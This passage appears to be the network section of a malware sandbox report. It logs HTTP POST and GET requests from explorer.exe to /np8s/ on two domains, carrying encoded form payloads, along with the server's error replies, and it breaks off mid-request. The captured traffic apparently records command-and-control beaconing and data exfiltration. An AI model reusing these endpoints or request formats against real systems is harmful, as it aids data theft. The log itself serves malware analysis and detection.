66 6a 4d 64 77 70 43 77 6e 71 37 74 4b 76 53 46 57 4e 4c 33 59 2d 53 6a 6b 66 36 71 71 46 30 33 4d 43 71 31 59 5f 79 61 47 58 55 30 4b 4e 49 4c 6a 78 44 73 55 32 57 67 70 2d 42 6b 68 76 48 77 54 43 56 59 4b 78 44 2d 7a 4d 45 6c 63 4d 6c 39 53 79 72 48 42 35 78 38 59 51 36 34 28 77 63 74 58 70 28 65 49 34 6e 59 4d 6c 6e 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: zVB=2TDaUEkMsKnT1WtX8761IUV-d91R0rpt~GSq0OQfYjjA3OAfOaD2ceLDVZ16rYTlofy5NEzIPRQUgyVqx-fhqfvI02jTKRba9fD23JjmgB4oR9R7o44hClKj6UQOhvUS2uiU(E~hYEOJBGXRDEmXR4gGeer6yx6ZvKbB~zSQny2_xAZsC6kq56q-JZChkxmkOvbDnBm0F74m0u05Scla94UIvMlvdGb0FhAyZnLZh_LnJlE5oHE8yBi6Usm8JyjXfFWkxQnCYnggbazNSXKYTinHcndbObaMejTocTfjMdwpCwnq7tKvSFWNL3Y-Sjkf6qqF03MCq1Y_yaGXU0KNILjxDsU2Wgp-BkhvHwTCVYKxD-zMElcMl9SyrHB5x8YQ64(wctXp(eI4nYMlnw).

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.5	49932	66.235.200.145	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:44:17.650103092 CEST	9747	OUT	POST /np8s/ HTTP/1.1 Host: www.muddybootslife.com Connection: close Content-Length: 36477 Cache-Control: no-cache Origin: http://www.muddybootslife.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.muddybootslife.com/np8s/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 7a 56 42 3d 32 54 44 61 55 45 49 65 78 4c 62 77 37 6d 68 30 37 49 4b 66 44 46 46 38 4e 64 67 66 77 61 31 79 37 7a 32 41 36 76 68 2d 62 6d 57 66 7a 2d 64 4e 4b 64 58 75 63 62 32 5a 59 4c 42 2d 73 34 58 6d 6f 66 71 62 4e 45 6e 49 4f 51 34 45 6e 52 63 39 78 62 7a 6d 72 5f 76 65 31 32 6a 61 4f 55 79 49 39 66 48 55 33 4a 36 35 67 79 38 6f 51 62 64 37 28 76 6b 37 47 31 4b 6c 35 55 68 56 38 66 49 31 32 75 4c 53 28 42 47 68 59 30 4b 4a 48 6e 6e 53 53 33 7e 57 56 6f 67 66 50 75 72 6f 39 52 6e 71 76 4b 50 5a 7e 33 57 51 6b 45 4f 5f 79 77 35 73 57 64 51 70 74 36 71 33 59 4a 43 6f 7a 68 71 49 4f 76 33 45 6e 44 4b 4f 46 4f 59 6d 31 65 30 34 57 4e 73 35 36 70 55 54 6a 74 68 59 64 47 58 64 46 77 4d 36 5a 69 37 31 70 74 69 43 56 54 51 44 6f 44 67 47 7e 42 69 41 63 4d 6d 6e 4a 79 6a 7a 66 46 58 75 78 54 50 43 59 67 63 67 61 4b 6a 4e 62 78 7e 66 62 79 6e 43 4c 33 64 46 66 72 47 30 65 6a 4c 43 63 57 75 6b 4d 4e 4d 70 41 68 33 71 7a 76 69 6f 65 56 58 47 4d 33 5a 74 59 44 6b 4d 36 71 71 33 30 7a 59 53 70 43 41 5f 77 50 7e 58 58 58 69 4e 62 4c 6a 78 66 38 55 30 63 41 31 75 42 6b 70 72 48 78 6a 38 56 72 6d 78 43 6f 6e 4d 46 45 63 4d 69 4e 53 79 79 58 41 58 31 65 46 75 34 5a 58 45 51 50 47 4f 6d 39 6c 62 7a 73 4e 4c 35 44 67 37 53 54 77 70 55 55 6f 46 41 4c 63 71 6c 49 35 5a 6f 38 4e 78 45 34 68 72 63 30 61 70 6c 59 5a 62 37 53 74 51 39 53 77 76 61 63 75 6b 28 70 73 2d 55 76 71 50 35 61 64 70 59 66 45 4e 66 76 5a 36 6c 64 4d 6f 5a 6c 28 78 34 45 55 4d 6e 38 44 4f 4a 72 77 33 7a 67 72 5a 43 48 6a 53 53 52 70 4e 53 52 45 39 71 52 31 77 37 71 46 45 4d 58 59 79 50 2d 36 54 48 4e 72 55 43 6c 57 63 30 53 63 45 28 61 4d 75 41 75 55 49 69 6f 4f 4f 78 4d 6d 62 50 6d 75 32 55 72 5a 54 49 41 4d 31 59 4e 69 58 34 45 44 47 37 48 53 36 62 63 39 30 73 38 53 68 50 30 50 42 62 4b 6f 4a 6f 6d 54 6f 36 76 39 46 78 6c 6c 66 4e 57 31 42 30 55 61 72 58 30 34 59 61 6e 7a 4e 39 57 7a 37 52 72 56 4f 59 30 68 68 77 36 74 46 79 6f 50 44 4b 45 4e 62 4c 65 75 59 47 5a 72 47 47 75 58 42 7e 4f 76 49 48 68 6d 75 54 4a 36 5a 6e 7a 44 57 67 73 6a 32 6f 6c 62 50 4d 47 54 4e 75 74 6b 6d 6c 42 58 33 67 42 42 52 56 4f 39 67 42 45 67 6a 37 70 4b 71 74 46 57 30 33 2d 34 33 63 70 57 2d 70 77 45 4a 63 33 58 59 64 44 53 46 7a 5a 32 47 6b 53 6f 76 43 44 65 48 74 65 6d 56 39 4a 30 5a 61 6c 41 6b 37 4e 6d 37 63 6c 43 62 79 48 73 76 6d 65 5a 47 47 45 77 42 30 39 42 31 38 71 37 33 6d 30 57 48 69 6d 4d 6c 71 4d 39 70 30 57 41 50 41 68 49 79 75 46 50 44 53 43 50 4f 4c 70 4b 7a 73 57 65 45 34 6b 43 74 69 54 51 4c 4f 4b 72 5f 5a 37 48 62 65 50 39 59 79 35 75 49 4f 74 36 5a 69 4d 73 74 51 4c 34 4c 28 31 61 77 36 74 63 4d 74 75 34 37 58 79 72 69 47 50 67 68 5a 77 45 53 6d 57 44 32 6c 6e 65 51 49 71 79 65 4e 74 43 54 56 76 32 44 67 50 6a 55 35 4e 30 47 28 36 77 67 4f 5f 45 59 31 53 58 6d 34 5a 32 36 73 50 7a 30 41 5a 77 33 77 36 62 5f 59 52 42 73 31 78 53 6a 58 43 76 48 4e 56 6d 5a 67 72 6a 78 7a 75 62 58 44 6c 58 43 67 79 30 6c 58 41 4d 2d 32 77 6d 55 4b 4e 62 68 56 6d 45 35 6b 62 49 74 62 41 43 4d 36 74 66 4d 34 76 39 65 7e 48 30 6e 4b 63 45 57 63 53 6b 59 77 2d 45 55 73 32 41 5a 4b 50 48 59 77 76 48 79 46 4b 66 59 75 78 72 7a 45 42 6f 62 36 2d 6f 5a 47 6f 74 79 56 55 59 6a 4c 35 64 69 6b 43 4e 77 62 7a 71 4d 79 46 75 65 28 6f 55 59 6c 31 69 63 35 56 78 57 7a 62 61 34 44 43 4c 73 44 6a 6d 70 73 36 36 45 71 6d 52 75 71 47 61 4b 6d 61 36 72 38 4d 55 43 31 48 63 69 55 37 61 57 38 4a 76 6b 35 6c 71 6d 72 63 42 59 49 6c 72 37 4e 50 79 33 67 47 6f 35 57 37 62 58 65 72 75 41 4d 5f 75 68 55 57 75 50 48 71 71 52 6a 7a 58 6c 75 45 30 70 34 57 75 30 66 6c 50 69 50 75 35 63 4e 52 37 54 69 37 6c 67 4d 38 4c 48 53 66 79 50 61 51 6f 53 4c 4f 47 38 76 69 33 67 47 71 34 35 36 6c 6c 61 66 4c 71 68 7a 57 55 64 43 32 6b 31 6c 54 6d 53 5a 72 59 41 4b 50 39 70 6b 49 6e 50 62 5a 55 45 48 41 59 36 52 77 4c 34 6e 5a 72 78 6c 39 5a 54 47 4e 45 4b 30 30 50 46 46 7a 4b 62 35 61 64 6e 76 53 54 55 47 63 38 58 61 4d 51 51 65 49 4a 70 50 42 45 31 6c 4a 76 41 54 69 56 75 41 30 75 67 74 72 59 6d 73 32 30 51 57 4e 6c 6f 28 56 4a 41 77 51 65 55 47 69 4c 61 77 6f 6a 43 32 79 65 6d 6f 79 4f 53 56 32 72 4e 39 37 74 6c 7e 4c 62 Data Ascii: zVB=2TDaUEIexLbw7mh07IKfDFF8Ndgfwa1y7z2A6vh-bmWfz-dNKdXucb2ZYLB-s4XmofqbNEnIOQ4EnRc9xbzmr_ve12jaOUyI9fHU3J65gy8oQbd7(vk7G1Kl5UhV8fI12uLS(BGhY0KJHnnSS3~WVogfPuro9RnqvKPZ~3WQkEO_yw5sWdQpt6q3YJCozhqIOv3EnDKOFOYm1e04WNs56pUTjthYdGXdFwM6Zi71ptiCVTQDoDgG~BiAcMmnJyjzfFXuxTPCYgcgaKjNbx~fbynCL3dFfrG0ejLCcWukMNMpAh3qzvioeVXGM3ZtYDkM6qq30zYSpCA_wP~XXXiNbLjxf8U0cA1uBkprHxj8VrmxConMFEcMiNSyyXAX1eFu4ZXEQPGOm9lbzsNL5Dg7STwpUUoFALcqlI5Zo8NxE4hrc0aplYZb7StQ9Swvacuk(ps-UvqP5adpYfENfvZ6ldMoZl(x4EUMn8DOJrw3zgrZCHjSSRpNSRE9qR1w7qFEMXYyP-6THNrUClWc0ScE(aMuAuUIioOOxMmbPmu2UrZTIAM1YNiX4EDG7HS6bc90s8ShP0PBbKoJomTo6v9FxllfNW1B0UarX04YanzN9Wz7RrVOY0hhw6tFyoPDKENbLeuYGZrGGuXB~OvIHhmuTJ6ZnzDWgsj2olbPMGTNutkmlBX3gBBRVO9gBEgj7pKqtFW03-43cpW-pwEJc3XYdDSFzZ2GkSovCDeHtemV9J0ZalAk7Nm7clCbyHsvmeZGGEwB09B18q73m0WHimMlqM9p0WAPAhIyuFPDSCPOLpKzsWeE4kCtiTQLOKr_Z7HbeP9Yy5uIOt6ZiMstQL4L(1aw6tcMtu47XyriGPghZwESmWD2lneQIqyeNtCTVv2DgPjU5N0G(6wgO_EY1SXm4Z26sPz0AZw3w6b_YRBs1xSjXCvHNVmZgrjxzubXDlXCgy0lXAM-2wmUKNbhVmE5kbItbACM6tfM4v9e~H0nKcEWcSkYw-EUs2AZKPHYwvHyFKfYuxrzEBob6-oZGotyVUYjL5dikCNwbzqMyFue(oUYl1ic5VxWzba4DCLsDjmps66EqmRuqGaKma6r8MUC1HciU7aW8Jvk5lqmrcBYIlr7NPy3gGo5W7bXeruAM_uhUWuPHqqRjzXluE0p4Wu0flPiPu5cNR7Ti7lgM8LHSfyPaQoSLOG8vi3gGq456llafLqhzWUdC2k1lTmSZrYAKP9pkInPbZUEHAY6RwL4nZrxl9ZTGNEK00PFFzKb5adnvSTUGc8XaMQQeIJpPBE1lJvATiVuA0ugtrYms20QWNlo(VJAwQeUGiLawojC2yemoyOSV2rN97tl~LbOLSS0q7Q7mHnNKDGz(EnvSQxwJv(FOmfM5zkPnev_Mg7oIjCUPlLQrQJ21H6zm1bIaXVaIWXZBweSzNS7MOeKn2YZ4gvJDtTQn825Bzh-4N3AqvGMiZrfLJXFROChb7lKUAAMVzc3Q7rR3x22wuvnKhGm5tPT0QLi2DaH~r(_JjjVViHQYfQp7W6vACJMolsc90J-iHPXfurE4lG06FoI~o57koA-U12jT6vFoTs2vV5nK1s1Fvb3AAtP~qmxWkh3dqrW6R2vPX~6PyX04I4CyaZaT33lSVTD0M9JUEPXjjrUfCMrwF~h(MuEZr9XWkcZsF~M~Qzc1MOwge9ogAEcsbGQdKm2AOOlsmbBPwkf~j6lljQPdePmBA3-S346sEH12aAksBwUVo4TXOByRP7xzaBL4eoLrQ~x0JUUW4nhmKtEGhVG2ufyioYCsiNk62vK7xUmkDFw54agHoP605SPnluqCndAU3(DfRTUNP8rccZ31VOz8PQSRMUUGXmxN6S-2LLzT9h5tSs4iCyRcdSm5Ez29RG1K9LTTBADgA2SezQVO03rT4MHTXqafl0K9i8IzhGCj47ay5(wX_4fu2GTAFyqE1tw4ISbxacOdc5ZoPD_G_fBttjXmey5y0EtDDT3H5x_or2NvlGbC9BxU2~uCRWn10(7D31jiXq1~a8fVbPA45(ttL5Lay5-cZ1U7NveAKkxms3s2FtWuqpKsWEf5uIz9kwjWPyC~BWe1_aUtsbv6Sks54HaFwOdSecu(JJhDBcUs_DxmxawdOGkkjhfcCym~zIR3QnOumAo2-7ZOyXY4ErPQ9WueqvsxLzdnc~GCVwnhmGpPazd0PC_uyucfd4Ppzn_YWWHu0YuXHhBZFx_PGlYa935nFRp1uqhgF(X1BXTnDnpRCFGE5rDtFWKZYBMUwx_e4ZzJS6EMkR7YIUflLUSstWWlpfYD3MVrEU8S60MaGJkO3UQH1(NtZe1CJelQbOhIQVeS1HynBxhzVFR1mA1XtfOvKT63hscnbRWUaF9l_QqK5lSPimssDTzzu4GpCEaB8lb6sOaFedi6gakDorAgtTfbbWOfIjX2J38BTH4JDnJmJCELXftF60YwIYFxnLPra8PLwwnaO069YBiQzQOkySr6feJ8MGG2xSPH58FmFEHJZG2nreu4ItEmTQzL2cyRTECMWaiAf0kvOoUyp3mrOzl9-eDzYX9kQhvSWkTjGd70VolLTYwPmdVVzxdodttGRMTJYOGnyKpsdG_CIm2jByTaSemcBP2eLrXrEmrse1rTWO3Gg8Axx4DiSA7Aat65HiWB6f6U2TMvRKTEwD3xgm-t_mpDi87C5U1qn6SIScGUjNwy20pWsxucPwP6GoYtA0MGzWn7q(apRjlplCk2re9uq7Ll4jJGgBpLLUtPXzAzuTUAtJsYj1fFZBt2WFlH0R6(kaUtaYCFsGwUiyK4r6PkgViiexjaKnvGqCVUrF0v30eKq91TWzb8f2g5xgBS8KZAErupex8fnt8zsMjzWSSl6Kx7D(FPlyuXfEaDcI9aAzguDtYiov9R6dStRX8NTfRBohF2Y4MVV2WVL5zPzQNQzgL(k87uhIysYPM1F0xH6CSafaOKvh-AgOv~gYKNPSOxoDV8KHFF2U3Ti1LfBt16ADPq2noBaJ64kFjZ-iZSRMxvgklv1RIZe9S9MK-~cbzKv8UpJGylOwUx4U2RCqfvA~2C2K7fbZDAjX724tazy(dTb343qmnIRSDBG6mhWEiayX8N4xmuJEfIQEr~44SRgGqI-5ZvTsUITCX3WuCXqstfXx4E-m8LqJKTZdUjtda7-jwtCGSHUywXkbh31ouBDxiaEVp3JnpL2GKalulJ028hlOjOJvSOZjPfsdArz2_rk~ucITu4hKUGueQf3~b~HnardflSC(BwQdD47TeYSLmNuF7eOx0AUZIF0K9oG2pJyx8yW~vfYZlJSvoaPUxyb57XqebtT2-gdYcao7dzy2km5gyRzbCQqQQR-x69FSQ8zeQRSrsaRr7G5fvY9vyFvUvwVcrAXzOtAD_yWtOFcLTPo9V7WawWeMlT5S3gRJ9o5Hzc5FShBSZRBjkD9nhb_IhglRO7M8pTtD3SxdJguLxZ5oY7IYjC1IcL-Vdw3yuMV3auDl1eb4yrCLq89umYzeF6y1uCbWvcgjx0rnhjd5kcglJPDV1w38XaMR-6UjSEe~WAr26mEhQj56JSTv01yi1x9KdCXASKXaeX97Tlh~U7-DX4jCvg3Id~bl3(R7c0bQZCGkcv8ZqeT9Ys2uW343DDOson6TCAQ53A8kn8i3SMeioTm8xrQxBvVyXpAfv98WqVtZxCychj-DHzjmbV1V5gQzk8hTN40ZMikgrbyCnRV~aakr0k74RxFiu1q1XaEM_Pz5R9pDP8tE0DXZ3(C48mA5tQP109EHoYgUPveH_jJIYuB3JXHQiQve1MKotUNXW43MiPVuV1jrJZo24Uy32RK3yplRgAoJQMhumIgJhyWiNer9P8XQCJA~9clyZ(ifhSgyYy1e7lbi0S-U1GW29y2m0tdlHVp(nEwEIPTSaycQavnZ3i9VOm8y6OXE8UMRY3FFyCVfMbUh70euP6MOb92RvsHrX1Gl0KmxNzf9cI8qTnkWk85~FbH~66q3ffmxPMNjb76Eux3aXFf(Tth~oXpheJkCIZ00td08o6Rdp21TcFM3FKLne7fjrpJxH(m
May 27, 2022 18:44:17.667303085 CEST	9753	OUT	Data Raw: 52 46 58 42 78 67 28 6a 74 6b 75 4d 73 64 69 56 46 30 67 77 69 32 65 75 34 6b 31 36 4a 6e 49 42 76 7a 59 67 4a 68 77 2d 28 33 77 32 30 6a 4b 34 74 6f 41 65 39 36 57 42 59 4f 39 63 37 62 62 78 43 63 69 6e 5a 30 58 4a 30 4f 6b 6b 33 64 36 57 6c 74 Data Ascii: RFXBxg(jtkuMsdiVF0gwi2eu4k16JnIBvzYgJhw-(3w20jK4toAe96WBYO9c7bbxCcinZ0XJ0Okk3d6WltzlrudG7sgr5FdMoJp-VRlRiZcfnOd4Il7S93YSJ4NaO7wvKAMPzlLPArbR4fqSMu(z2xMQCO4PVAUi1PFvD-s4rKJ1IAYWHJZi7q2opxAiBYGwo4FNZhRLDe5MWvB1e8Rb1z1GQ13Kn6YvBuEWDSUHe-B_IiztYNp
May 27, 2022 18:44:17.667366028 CEST	9759	OUT	Data Raw: 52 74 6e 35 28 43 51 53 4d 37 64 7a 46 75 6b 67 79 71 65 46 52 61 53 4e 54 47 45 6c 7e 6c 7e 4b 67 6a 64 57 69 6e 69 31 7e 43 58 62 41 32 68 6d 63 71 53 6d 59 75 34 48 62 33 76 58 6d 34 31 68 39 63 56 41 32 79 42 4b 70 78 38 45 66 75 6b 6d 41 4c Data Ascii: Rtn5(CQSM7dzFukgyqeFRaSNTGEl~l~KgjdWini1~CXbA2hmcqSmYu4Hb3vXm41h9cVA2yBKpx8EfukmALuTiJRdAfQ9IMxXyio65iViSRuJoGLW2vbJbz4AYBTdn8tF9jlC(rZius~BDNytWrkuxz5Qi2zD6ILTjj2xenAVt7IsQBQOQ7ScP4X1zzKYpjOXEgwGkMbJszr3dA3Tc8MzeEQBaOIQ3qBQ7y43f3XwJEBrQDUDQHE
May 27, 2022 18:44:17.667390108 CEST	9764	OUT	Data Raw: 57 4a 61 51 66 33 75 32 28 36 51 68 33 38 76 65 70 30 47 79 67 47 6a 72 36 4e 51 65 49 41 77 47 55 49 7a 75 56 6a 65 47 68 55 28 45 73 49 41 6b 6a 63 7e 45 45 47 7a 65 6d 6f 28 50 50 63 54 55 6d 41 46 52 65 6c 6f 59 4e 43 6d 73 31 56 35 4b 63 6d Data Ascii: WJaQf3u2(6Qh38vep0GygGjr6NQeIAwGUIzuVjeGhU(EsIAkjc~EEGzemo(PPcTUmAFReloYNCms1V5Kcmy-MJIUcrx6LApo9vXgJGo8svtV(pzilKkb0G1EpG(-0tEMv6ICYQ81TqTOnG4l305ffWw6XBs8tfzY(6Oct94n6_6M9oYik5fDMlD-3d1aisUr8IvuZVcT94pbsxnvuIsX9C7_TW6vNhsWlyuhg5z4~_0FSXj_N5y
May 27, 2022 18:44:17.667409897 CEST	9771	OUT	Data Raw: 39 2d 6e 30 53 51 70 52 55 68 67 53 45 7a 43 64 28 41 51 72 79 59 65 6f 36 35 4f 62 44 66 4a 58 53 4b 31 4c 43 63 56 50 6b 66 6b 36 71 76 5a 74 42 6c 48 69 61 4b 76 35 76 7a 44 66 41 39 69 66 55 69 36 59 4f 30 42 4b 77 66 4a 6b 64 54 74 41 6a 4a Data Ascii: 9-n0SQpRUhgSEzCd(AQryYeo65ObDfJXSK1LCcVPkfk6qvZtBlHiaKv5vzDfA9ifUi6YO0BKwfJkdTtAjJCNtf2hbhCDrRorQz4CbLQ5O1GigWg_BtFAprJNrcOcKiI1afMaodXbqq9gS3OJnD1gpTdvhP6NnGKh1nN6WAuxifIoa7yAXbGv3VX1Z3r-sN8krkhqEoMqlMkoRrPSn_uOF2aLC5CSJq1dGmmf~O7VrEAiFJhY8xk
May 27, 2022 18:44:18.003113031 CEST	9774	IN	HTTP/1.1 404 Not Found Date: Fri, 27 May 2022 16:44:17 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 712036e25f3e6964-FRA Content-Encoding: gzip Data Raw: 66 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 54 90 c1 6e c2 30 10 44 ef fe 8a 29 e7 96 85 8a a3 65 a9 25 41 20 a5 14 55 e1 d0 a3 c1 5b 6c 29 d8 d4 d9 14 e5 ef ab 84 4a 6d af b3 6f 76 67 56 df 15 af cb fa 7d 57 62 5d bf 54 d8 ed 9f ab cd 12 93 07 a2 4d 59 af 88 8a ba b8 4d 1e a7 33 a2 72 3b 31 4a 7b 39 37 46 7b b6 ce 28 2d 41 1a 36 8b d9 02 db 24 58 a5 2e 3a 4d 37 51 69 1a 21 7d 48 ae 1f 7c 73 f3 87 f1 73 a3 f4 c5 d4 9e 91 f9 b3 e3 56 d8 61 ff 56 e1 6a 5b c4 24 f8 18 38 a4 08 f1 a1 45 cb f9 8b f3 54 d3 65 b4 3d 39 17 24 a4 68 9b a6 bf 87 c5 bf 00 8a 73 4e 79 5c c4 f1 98 ba 28 9c d9 e1 ea 43 c3 90 dc 87 78 82 24 74 2d c3 46 94 03 5c a4 63 77 e6 28 83 ee 6d 74 03 f8 9b ec e7 2c 8d 45 34 8d 0f 50 df 00 00 00 ff ff 03 00 59 3c e4 fe 3b 01 00 00 0d 0a Data Ascii: f5Tn0D)e%A U[l)JmovgV}Wb]TMYM3r;1J{97F{(-A6$X.:M7Qi!}H\|ssVaVj[$8ETe=9$hsNy\(Cx$t-F\cw(mt,E4PY<;
May 27, 2022 18:44:18.003144979 CEST	9774	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.5	49933	66.235.200.145	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:44:17.667756081 CEST	9771	OUT	GET /np8s/?zVB=5R3gKgAJtID3s3glssHXeRhFadAM4oJIjGTDo+g9ImvY9tNBMPSBarPOG5Bgot7e+72k&CTr8g=z48HVPSHfp HTTP/1.1 Host: www.muddybootslife.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 27, 2022 18:44:17.961106062 CEST	9773	IN	HTTP/1.1 404 Not Found Date: Fri, 27 May 2022 16:44:17 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close CF-Cache-Status: MISS Server: cloudflare CF-RAY: 712036e27e819bb3-FRA Data Raw: 31 33 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: 13b<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
May 27, 2022 18:44:17.961132050 CEST	9773	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.5	49941	35.241.47.216	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:44:34.353910923 CEST	9811	OUT	POST /np8s/ HTTP/1.1 Host: www.84866.xyz Connection: close Content-Length: 409 Cache-Control: no-cache Origin: http://www.84866.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.84866.xyz/np8s/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 7a 56 42 3d 45 4e 4a 2d 57 51 48 51 4a 48 42 43 28 31 39 6e 55 34 66 69 76 50 4d 42 45 30 50 56 32 61 7a 4c 34 5f 47 4a 4f 42 47 65 53 4a 6f 6b 71 53 36 42 64 2d 7a 54 50 4f 45 5f 30 6f 67 4e 56 69 76 31 44 32 52 43 5a 67 55 46 34 67 76 31 52 71 47 31 6b 54 56 53 68 77 53 79 44 58 6d 32 76 56 67 5f 6c 5f 35 53 57 6b 58 6a 68 62 73 6f 7e 52 54 6d 47 44 4a 56 75 4d 48 68 7e 6a 36 6e 65 2d 34 64 47 4c 49 36 62 54 4a 42 52 69 61 5f 41 5a 68 78 64 6a 54 68 73 58 53 61 34 61 4f 56 46 62 68 70 78 44 52 58 61 56 28 39 4f 68 7e 76 62 47 43 46 31 50 6d 68 78 56 6a 6b 4c 4b 4a 45 6f 68 77 32 75 56 73 78 6a 57 6a 56 67 79 30 6d 46 6a 61 49 44 6c 6c 48 6f 32 42 33 31 69 4f 44 6a 50 62 38 69 38 53 49 47 48 4e 51 58 55 69 54 75 43 78 53 46 30 46 73 46 77 44 74 6d 39 48 68 75 52 62 6b 55 59 6d 53 47 6e 36 65 69 32 55 31 69 73 57 38 78 41 41 5a 74 50 4a 73 48 39 64 41 30 48 6f 6d 7e 6a 34 45 37 54 6f 72 62 2d 37 6a 73 74 69 75 30 4f 7a 55 64 79 6d 53 64 74 6a 7a 4b 66 32 32 6f 39 44 44 51 4f 35 4f 35 53 68 58 58 4d 43 31 35 51 41 72 51 67 45 4e 74 34 56 66 6e 58 30 46 65 7a 52 59 62 38 37 54 4f 52 72 48 6c 76 28 4f 31 4c 77 2d 62 38 75 48 38 52 4f 62 59 6b 6c 35 59 4a 72 50 70 44 51 48 41 43 72 37 6c 45 4a 44 31 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: zVB=ENJ-WQHQJHBC(19nU4fivPMBE0PV2azL4_GJOBGeSJokqS6Bd-zTPOE_0ogNViv1D2RCZgUF4gv1RqG1kTVShwSyDXm2vVg_l_5SWkXjhbso~RTmGDJVuMHh~j6ne-4dGLI6bTJBRia_AZhxdjThsXSa4aOVFbhpxDRXaV(9Oh~vbGCF1PmhxVjkLKJEohw2uVsxjWjVgy0mFjaIDllHo2B31iODjPb8i8SIGHNQXUiTuCxSF0FsFwDtm9HhuRbkUYmSGn6ei2U1isW8xAAZtPJsH9dA0Hom~j4E7Torb-7jstiu0OzUdymSdtjzKf22o9DDQO5O5ShXXMC15QArQgENt4VfnX0FezRYb87TORrHlv(O1Lw-b8uH8RObYkl5YJrPpDQHACr7lEJD1g).
May 27, 2022 18:44:34.640470028 CEST	9850	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.20.2 Date: Fri, 27 May 2022 16:44:34 GMT Content-Type: text/html Content-Length: 157 Via: 1.1 google Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.20.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.5	49942	35.241.47.216	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:44:34.375361919 CEST	9825	OUT	POST /np8s/ HTTP/1.1 Host: www.84866.xyz Connection: close Content-Length: 36477 Cache-Control: no-cache Origin: http://www.84866.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.84866.xyz/np8s/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 7a 56 42 3d 45 4e 4a 2d 57 53 44 38 55 48 74 62 7a 46 78 45 58 4b 76 32 67 65 38 44 44 45 4c 73 6f 4f 72 55 72 39 7a 34 41 67 33 75 54 4d 4e 67 38 69 6d 73 66 4a 7e 4d 50 50 30 53 67 74 51 42 66 53 7a 30 44 79 30 49 5a 67 41 46 35 68 48 6c 52 4e 4c 67 6c 77 39 64 68 51 53 4b 43 58 6d 7a 72 51 34 65 6c 5f 4e 6b 57 6b 66 7a 68 4b 51 6f 34 7a 72 6d 52 55 64 65 6a 4d 47 6f 39 6a 71 37 52 65 38 36 47 50 64 76 62 58 42 42 52 53 6d 5f 42 35 39 77 4d 79 54 6d 6c 6e 53 54 39 61 4f 2d 